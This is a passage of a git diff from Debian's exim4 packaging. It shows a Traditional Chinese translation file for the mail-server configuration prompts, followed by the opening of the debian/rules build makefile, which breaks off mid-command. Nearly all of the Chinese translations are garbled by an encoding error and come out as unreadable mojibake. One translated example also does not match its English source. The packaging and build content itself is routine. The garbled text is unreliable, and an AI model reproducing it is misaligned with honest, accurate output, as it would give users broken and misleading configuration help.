+msgid "local delivery only; not on a network"
+msgstr "åªå‚³é€æœ¬æ©Ÿçš„郵件;並未ä½æ–¼ç¶²è·¯ä¸Š"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ä¸è¦åœ¨æ­¤æ™‚進行設定"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "設定郵件所使用的一般格å¼ï¼š"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "è«‹é¸æ“‡æœ€ç¬¦åˆæ‚¨çš„需求的郵件伺æœå™¨ä¹‹è¨­å®šé¡žåž‹ã€‚"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"一般會將使用浮動 IP ä½å€ï¼ˆåŒ…括使用撥號網路)的系統設定æˆåœ¨å¤–é€éƒµä»¶æ™‚是寄é€çµ¦"
+"å¦å¤–一å°ç¨±ç‚º smart host 的機器。這是因為很多在 Internet 上的收信系統為了防治"
+"垃圾郵件,ä¸æœƒæŽ¥æ”¶ç”±æµ®å‹• IP ä½å€æ‰€å¯„出的信件。"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"使用浮動 IP ä½å€çš„系統å¯ä»¥åªæŽ¥æ”¶å®ƒæœ¬èº«çš„郵件,或者å¯ä»¥å®Œå…¨é—œé–‰æŽ¥æ”¶ï¼ˆé™¤äº† "
+"root åŠ postmaster 的郵件之外的)本機郵件的功能"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "是å¦çœŸçš„è¦è®“郵件系統處於未設定之狀態?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"在郵件系統設定完æˆä¹‹å‰ï¼Œå®ƒå°‡è™•æ–¼æ•…障且無法使用之狀態。若想在ç¨å€™å†é€²è¡Œè¨­å®šï¼Œ"
+"å¯è—‰ç”±æ‰‹å‹•ä¿®æ”¹ã€æˆ–是以 root 身分來執行 dpkg-reconfigure exim4-config。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "系統郵件å稱 (mail name):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"所謂的郵件å稱 (mail name) 是一個網域å稱,用來補全那些沒有附加網域å稱的電å­"
+"郵件ä½å€ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"而這個å稱也被其它程å¼æ‰€ä½¿ç”¨ï¼›å®ƒæ‡‰è©²æ˜¯ä¸€å€‹ç¨ä¸€ç„¡äºŒçš„完整網域å稱 (FQDN)。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"比如說,在本機上的æŸå€‹é›»å­éƒµä»¶åœ°å€æ˜¯ foo@domain.example,那麼應該在這個é¸é …上"
+"填入的就是 example.org。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"如果啟用了改寫 (rewriting) 功能,那麼這個å稱就ä¸æœƒé¡¯ç¤ºåœ¨å¤–寄郵件的 From: çš„"
+"那幾行裡。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "è¦é€²è¡ŒæŽ¥æ”¶çš„其它郵件ä½å€ï¼š"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"請輸入一個以分號å€éš”的收信網域之å稱列表。這å°æ©Ÿå™¨é™¤äº†æœ¬æ©Ÿçš„主機å稱 "
+"(${fqdn}) åŠ localhost 之外,也åŒæ™‚會將列表中的網域視為郵件的目的地。這些網域"
+"通常會被稱為 local domains。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"在é è¨­ä¸Šï¼Œæ‰€æœ‰çš„ local domains 都將被視為åŒä¸€ç¶²åŸŸã€‚如果 a.example å’Œ b."
+"example åŒç‚º local domains,那麼 acc@a.example å’Œ acc@b.example 都將會被傳é€"
+"到相åŒçš„目的地去。如果ä¸åŒçš„網域å稱應該被視為ä¸åŒç¶²åŸŸï¼Œæ‚¨å¿…須在ç¨å€™è‡ªè¡Œä¿®æ”¹"
+"設定檔。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "å¯ä»¥é€²è¡Œéƒµä»¶è½‰å¯„ (relay) 的網域:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"請輸入一個以分號å€éš”的收信網域之å稱列表,這個系統將會替它們進行郵件轉寄 "
+"(relay),也就是æä¾›åƒæ˜¯å‚™æ´çš„ MX 或郵件中繼站的功能。這也就是說,這個系統將會"
+"接收來自 Internet 任何角è½çš„信件,åªè¦éƒµä»¶æ˜¯ä¾†è‡ªé€™äº›ç¶²åŸŸï¼›åŒæ™‚也會ä¾æ“šæœ¬æ©Ÿçš„"
+"éžé€è¦å‰‡å°‡éƒµä»¶å‚³é€å‡ºåŽ»ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "è«‹ä¸è¦åœ¨æ­¤å¡«ä¸Š local domain,但å¯ä»¥ä½¿ç”¨è¬ç”¨å­—元。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "è¦æ›¿å“ªäº›ä¸»æ©Ÿé€²è¡Œéƒµä»¶è½‰å¯„ (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"請輸入一個以分號å€éš”的收信網域之 IP ä½ç½ç¯„åœï¼Œé€™å€‹ç³»çµ±å°‡æœƒæ›¿å®ƒå€‘進行無æ¢ä»¶çš„"
+"郵件轉寄 (relay),也就是æä¾› smarthost 的功能。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"您必須使用標準的 ä½å€/長度 æ ¼å¼ï¼Œå¦‚:194.222.242.0/24 或 "
+"5f03:1200:836f::/48。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr "如果這個系統並ä¸åšç‚ºå…¶å®ƒæ©Ÿå™¨çš„ smarthost,請在此欄ä½ç•™ç™½ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "本機使用者的虛擬網域å稱:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"若啟用了這個é¸é …,就會在外寄的郵件中隱è—本機的郵件å稱 (mail name) 。也因而必"
+"須指定這個系統上的本機使用者在寄信者的地å€ä¸­æ‰€ä½¿ç”¨çš„網域部份應當使用的網域å"
+"稱。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "外寄郵件時所使用的 smarthost çš„ IP ä½å€æˆ–主機å稱:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"請輸入這個系統在外寄郵件時所使用的 smarthost é‚£å°éƒµä»¶ä¸»æ©Ÿçš„ IP ä½å€æˆ–主機å"
+"稱。如果這個 smarthost ä¸æ˜¯ä½¿ç”¨ TCP/25 埠來接收您的郵件的話,請在最後附加上 "
+"2 個冒號åŠé€£æŽ¥åŸ çš„號碼,例如 smarthost.example::587 或 "
+"192.168.254.254::2525。在 IPv6 ä½å€è£¡çš„冒號需輸入 2 次。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"如果 smarthost 需è¦é©—証,請åƒè€ƒ /usr/share/doc/exim4-base/README.Debian.gz 裡"
+"有關設定 SMTP 驗証之說明。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "root åŠ postmaster 的郵件代收者:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"寄給 postmasterã€root,åŠå…¶å®ƒç³»çµ±å¸³è™Ÿçš„郵件必須轉é€çµ¦ç³»çµ±ç®¡ç†è€…真正的使用者帳"
+"號。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"如果在此欄留白,那麼這些郵件將會存放在 /var/mail/mail,而這是éžå¸¸ä¸æ°ç•¶çš„作"
+"法。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"請注æ„到,postmaster 的郵件應該存放在它所管ç†çš„系統上,而ä¸æ˜¯å°‡å®ƒå†è½‰å¯„到別的"
+"地方去。因而您ä¸è©²æŠŠåœ¨é€™è£¡æ‰€æŒ‡å®šçš„(至少è¦ç•™ä¸€å€‹ï¼‰å¸³è™Ÿçš„郵件å†è½‰å¯„出去。在字"
+"首加上 real- 表示將強制傳é€è‡³æœ¬æ©Ÿã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "必須以空白分隔多個使用者å稱。"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "在有 SMTP 連線傳入時,è¦é€²è¡Œç›£è½çš„ IP ä½å€ï¼š"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"請輸入一個以分號å€éš”çš„ IP ä½å€åˆ—表。Exim çš„ SMTP 監è½æœå‹™å°‡æœƒç›£è½æ‰€æœ‰åœ¨æ­¤åˆ—出"
+"çš„ IP ä½å€ã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr "在此留白將會導致 Exim 在所有的網路介é¢ä¸Šç›£è½é€£ç·šã€‚"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"如果這å°é›»è…¦åªæœƒæŽ¥å—由本機æœå‹™æ‰€å‚³é€ï¼Œåƒæ˜¯ç”± fetchmail 或是您的電å­éƒµä»¶ç¨‹å¼ "
+"(MUA) 直接傳é€è‡³ localhost(沒有經由其它的主機)的電å­éƒµä»¶ï¼Œé‚£éº¼å»ºè­°ç¦æ­¢å¤–部"
+"和本機 Exim 進行連線,方法是在此輸入 127.0.0.1。如此將能é¿å…監è½å…¬å…±çš„網路介"
+"é¢ã€‚"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "是å¦ä¿æŒæœ€å°çš„ DNS æŸ¥è©¢é‡ (å³æ™‚撥接;Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"在一般的æ“作模å¼ä¸‹ï¼ŒExim 會在一開始åŠåœ¨å‚³é€æˆ–接收訊æ¯æ™‚進行 DNS 查詢。這是為"
+"了便於進行 Logging,並且å¯ä»¥é™ä½Žåœ¨è¨­å®šæª”裡使用的硬性編碼 (hard-coded) 數值的"
+"次數。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"如果這個系統並沒有一個在任何時刻都å¯ä½¿ç”¨çš„全功能 DNS å稱解æžä¼ºæœå™¨æ™‚,(例"
+"å¦‚ï¼šåœ¨å­˜å– Internet 時是使用撥接網路並æ­é…å³æ™‚撥接 (Dial-on-Demand) 以進行連"
+"線),這å¯èƒ½ä¸¦ä¸æ˜¯ç†æƒ³çš„方案。舉例來說,在啟動 Exim 或執行 queue(å³ä½¿ä¸¦æ²’有"
+"等候中的資訊)時都有å¯èƒ½æœƒè§¸ç™¼é‚£æ˜‚貴的撥接事件。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"如果這個系統使用的是å³æ™‚撥接 (Dial-on-Demand),應該é¸å–這個é¸é …。如果使用的是"
+"èƒ½æ°¸ä¹…å­˜å– Internet 的連線,應該關閉這個é¸é …。"
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "郵件伺æœå™¨è¨­å®š"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "是å¦å°‡è¨­å®šæª”分散æˆè¼ƒå°çš„檔案?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian çš„ exim4 套件å¯ä»¥ä½¿ç”¨å…©ç¨®è¨­å®šæ–¹å¼ï¼Œä¸€å€‹æ˜¯ã€Žæ•´åˆçš„設定檔ã€ï¼Œä¸€å€‹å–®ä¸€ä¸”"
+"節構é¾å¤§çš„檔案 (/etc/exim4/exim4.conf.template),或是使用『分散的設定檔ã€ï¼Œç”±"
+"ä½æ–¼ /etc/exim4/conf.d/ 中大約 50 個å°æª”案來產生真正的 Exim 設定檔。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"『整åˆçš„設定檔ã€è¼ƒé©åˆæ–¼å¤§é‡çš„修改,且一般來說也會較為穩定。而『分散的設定"
+"檔ã€å‰‡æ供了在進行å°é‡ä¿®æ”¹æ™‚的一個較方便的作法,但它會較為ä¸ç©©å®šä¸”如果修改時"
+"一ä¸å°å¿ƒå°±å¯èƒ½æœƒå°Žè‡´æ壞。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"å¯ä»¥åœ¨ /usr/share/doc/exim4-base/README.Debian.gz 裡找到有關『整åˆã€åŠã€Žåˆ†"
+"æ•£ã€è¨­å®šæª”的一些更詳盡的討論。"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "是å¦åœ¨å¤–é€éƒµä»¶ä¸­éš±è—本機的郵件å稱 (mail name)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"外寄郵件的表頭å¯ä»¥é€²è¡Œæ”¹å¯«ã€‚如果é¸å–了這個é¸é …,在 From, Reply-To, Sender åŠ "
+"Return-Path 中的 ${mailname}ã€localhost åŠ ${dc_other_hostnames} 會被改寫,讓"
+"它看起來åƒæ˜¯ç”±å¦ä¸€å€‹ä¸åŒçš„系統所產生的。"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "存放在 /var/mail 裡的 mbox æ ¼å¼"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "存放在個人主目錄裡的 Maildir æ ¼å¼"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "本機郵件的傳é€æ–¹å¼ï¼š"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim å¯ä»¥å°‡å‚³é€åˆ°æœ¬æ©Ÿçš„郵件以ä¸åŒçš„æ ¼å¼å„²å­˜ã€‚其中最常見的格å¼æ˜¯ mbox åŠ "
+"Maildir。mbox 是一個包å«äº†å®Œæ•´çš„郵件資料夾ã€å­˜æ”¾æ–¼ /var/mail/ 的單一檔案。而 "
+"Maildir 則是將å„個信件一一存放在 ~/Maildir/ çš„å„別檔案中。"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"請注æ„到,大多數 Debian 裡的郵件工具程å¼åœ¨é è¨­ä¸Šéƒ½å‡è¨­äº†æœ¬æ©Ÿéƒµä»¶æ˜¯ä»¥ mbox åš"
+"為傳é€æ–¹å¼ã€‚"
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "是å¦å°‡å°šæœªéžé€ä¹‹ä¿¡ä»¶ç”± exim3 æ¬ç§»è‡³ exim4 çš„ spool 裡?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "在 exim 3(或 exim-tls 3)的 spool 目錄 /var/spool/exim/input/ 中還有一些"
+#~ "尚未éžé€ä¹‹ä¿¡ä»¶ã€‚"
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "é¸å–這個é¸é …將會把這些信件æ¬åˆ° exim4 çš„ spool (/var/spool/exim4/input/) "
+#~ "裡,如此一來它們便轉由 exim4 來管ç†äº†ã€‚"
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "這個éŽç¨‹æ˜¯ä¸å¯é€†çš„:Exim4 å¯ä»¥ç®¡ç† exim 3 çš„ spool,但å之則ä¸è¡Œã€‚如果你拒"
+#~ "ç»è¿™ä¸ªé€‰é¡¹ï¼Œä½ å°†éœ€è¦è‡ªè¡Œç§»å‹•é€™äº›ä¿¡ä»¶ï¼Œå¦å‰‡ï¼Œè¿™äº›é‚®ä»¶å°†ä¸ä¼šè¢«é€è¾¾ã€‚"
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "若在此欄留白將會使得 Exim ä¸æœƒæŽ¥æ”¶æœ¬æ©Ÿçš„郵件。"
diff --git a/debian/rules b/debian/rules
new file mode 100755
index 0000000..930a22c
--- /dev/null
+++ b/debian/rules
@@ -0,0 +1,297 @@
+#!/usr/bin/make -f
+# debian/rules for exim4
+# This file is public domain software, originally written by Joey Hess.
+#
+# Uncomment this to turn on verbose mode.
+# export DH_VERBOSE=1
+
+buildname := $(shell scripts/os-type)-$(shell scripts/arch-type)
+DEBIAN := $(shell pwd)/debian
+
+export DEB_BUILD_MAINT_OPTIONS := hardening=+all
+include /usr/share/dpkg/buildflags.mk
+include /usr/share/dpkg/pkg-info.mk
+# SOURCE_DATE_EPOCH is exported by pkg-info.mk since dpkg 1.18.8/July 2016
+# fall back to current date otherwise.
+SOURCE_DATE_EPOCH ?= $(shell date '+%s')
+
+
+# The build system ignores CPPFLAGS, append them to CFLAGS
+CFLAGS += $(shell getconf LFS_CFLAGS) -D_LARGEFILE_SOURCE \
+ -fno-strict-aliasing -Wall $(CPPFLAGS)
+export CFLAGS
+# LFLAGS is used where GNU would use LDFLAGS
+export LFLAGS = $(LDFLAGS)
+
+LC_ALL=C
+export LC_ALL
+
+# If you want to build a daemon with a configuration tailored to YOUR special
+# needs, uncomment the exim4-daemon-custom package in debian/control,
+# call "debian/rules unpack-configs", copy EDITME.exim4-light to
+# EDITME.exim4-custom and modify it, then call "debian/rules pack-configs".
+#
+# Afterwards EITHER uncomment the customdaemon definition below, or set it
+# to the desired value via the environment.
+# e.g run:
+# env customdaemon=exim4-daemon-custom dpkg-buildpackage -uc -us
+#
+# If you want to create multiple custom packages with different names, use
+# the script debian/create-custom-package [suffix].
+
+# customdaemon = exim4-daemon-custom
+daemons = exim4-daemon-light exim4-daemon-heavy $(customdaemon)
+
+# If you want to build with OpenSSL instead of GnuTLS, uncomment this
+# OPENSSL:=1
+# Please note that building exim4-daemon-heavy with OpenSSL is a GPL
+# violation.
+
+PROVIDE_DEFAULT_MTA := $(shell if dpkg-vendor --is Ubuntu || \
+ dpkg-vendor --derives-from Ubuntu ; then : ; else \
+ echo "default-mta" ; fi)
+# for reproducible build. If set exim would use $TZ as default value for
+# TIMEZONE_DEFAULT
+undefine TZ
+unexport TZ
+
+
+unpack-configs: unpack-configs-stamp
+
+unpack-configs-stamp: src/EDITME exim_monitor/EDITME
+ patch -o EDITME.eximon exim_monitor/EDITME \
+ $(DEBIAN)/EDITME.eximon.diff
+ patch -o EDITME.exim4-light src/EDITME \
+ $(DEBIAN)/EDITME.exim4-light.diff
+ifdef OPENSSL
+ patch EDITME.exim4-light $(DEBIAN)/EDITME.openssl.exim4-light.diff
+endif
+ for editme in $(DEBIAN)/EDITME.exim4-*.diff; do \
+ if [ "$$editme" != "$(DEBIAN)/EDITME.exim4-light.diff" ]; then \
+ TARGETNAME=`basename $$editme .diff`; \
+ echo patch -o $$TARGETNAME EDITME.exim4-light $$editme; \
+ patch -o $$TARGETNAME EDITME.exim4-light $$editme || \
+ exit $$? ;\
+ fi; \
+ done
+ touch unpack-configs-stamp
+
+pack-configs:
+ -diff -u src/EDITME EDITME.exim4-light \
+ > $(DEBIAN)/EDITME.exim4-light.diff
+ -for editme in EDITME.exim4-*; do \
+ if [ "$$editme" != "EDITME.exim4-light" ]; then \
+ echo diff -u EDITME.exim4-light $$editme; \
+ diff -u EDITME.exim4-light $$editme > $(DEBIAN)/$${editme}.diff; \
+ fi; \
+ done
+ -diff -u exim_monitor/EDITME EDITME.eximon \
+ > $(DEBIAN)/EDITME.eximon.diff
+
+bdir-stamp: unpack-configs-stamp
+ for i in $(daemons) ; do \
+ mkdir b-$$i && \
+ find . -mindepth 1 -maxdepth 1 \
+ -name debian -prune -o \
+ -name 'b-*' -o -print0 | \
+ xargs --no-run-if-empty --null \
+ cp -a --target-directory=b-$$i ; \
+ done
+ touch $@
+
+override_dh_auto_configure: unpack-configs-stamp bdir-stamp
+ for i in $(daemons) ; do \
+ mkdir -p b-$$i/Local && \
+ cp EDITME.`echo $$i | sed -e s/exim4-daemon/exim4/` \
+ b-$$i/Local/Makefile && \
+ cp EDITME.eximon b-$$i/Local/eximon.conf ;\
+ done
+
+override_dh_auto_build:
+ for i in $(daemons) ; do \
+ echo building $$i; \
+ cd $(CURDIR)/b-$$i && \
+ $(MAKE) FULLECHO='' ; \
+ done
+ # Which version of Berkeley DB are we building against?
+ printf '#include <db.h>\ninstdbversionis DB_VERSION_MAJOR DB_VERSION_MINOR\n' | \
+ cpp -P | grep instdbversionis |\
+ sed -e 's/[[:space:]]*instdbversionis[[:space:]]//' \
+ -e 's/[[:space:]][[:space:]]*/./' \
+ -e 's_^_s/^BDBVERSION=.*/BDBVERSION=_' \
+ -e 's_$$_/_' \
+ > $(DEBIAN)/berkeleydb.sed
+ # Store Berkeley DB version in postinst script.
+ sed -i -f $(DEBIAN)/berkeleydb.sed \
+ $(DEBIAN)/exim4-base.postinst
+ # symlink identical maintainerscripts
+ for i in `echo $(daemons) | sed -e s/exim4-daemon-light//` ; do \
+ ln -sfv exim4-daemon-light.prerm \
+ "$(DEBIAN)/$$i.prerm" ; \
+ ln -sfv exim4-daemon-light.postinst \
+ "$(DEBIAN)/$$i.postinst" ; \
+ done
+
+override_dh_auto_install-arch: debian/README.Debian
+ cd b-exim4-daemon-light && \
+ $(MAKE) install FULLECHO='' \
+ INSTALL_ARG=-no_symlink \
+ inst_conf=$(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf \
+ inst_aliases=$(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/aliases \
+ inst_dest=$(DEBIAN)/exim4-base/usr/sbin
+ if [ -e "$(DEBIAN)/example.conf.md5" ] && [ "$$(< $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf md5sum)" != "$$(cat $(DEBIAN)/example.conf.md5)" ] ; then \
+ echo "upstream example configuration has changed, new md5sum:"; \
+ < $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf md5sum; \
+ echo "aborting build."; \
+ exit 1; \
+ fi
+ < $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf md5sum > $(DEBIAN)/example.conf.md5
+ sed -e 's,/[a-zA-Z/0-9.-]*exim4-base/examples/,/etc/,' \
+ < $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf \
+ > $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf.tmp
+ mv $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf.tmp \
+ $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples/example.conf
+ install -m755 b-exim4-daemon-light/build-$(buildname)/convert4r4 \
+ $(DEBIAN)/exim4-base/usr/sbin/exim_convert4r4
+ install -m755 \
+ b-exim4-daemon-light/build-$(buildname)/transport-filter.pl \
+ b-exim4-daemon-light/util/ratelimit.pl \
+ $(DEBIAN)/exim4-base/usr/share/doc/exim4-base/examples
+ rm $(DEBIAN)/exim4-base/usr/sbin/exim
+ mv $(DEBIAN)/exim4-base/usr/sbin/eximon \
+ $(DEBIAN)/eximon4/usr/sbin
+ mv $(DEBIAN)/exim4-base/usr/sbin/eximon.bin \
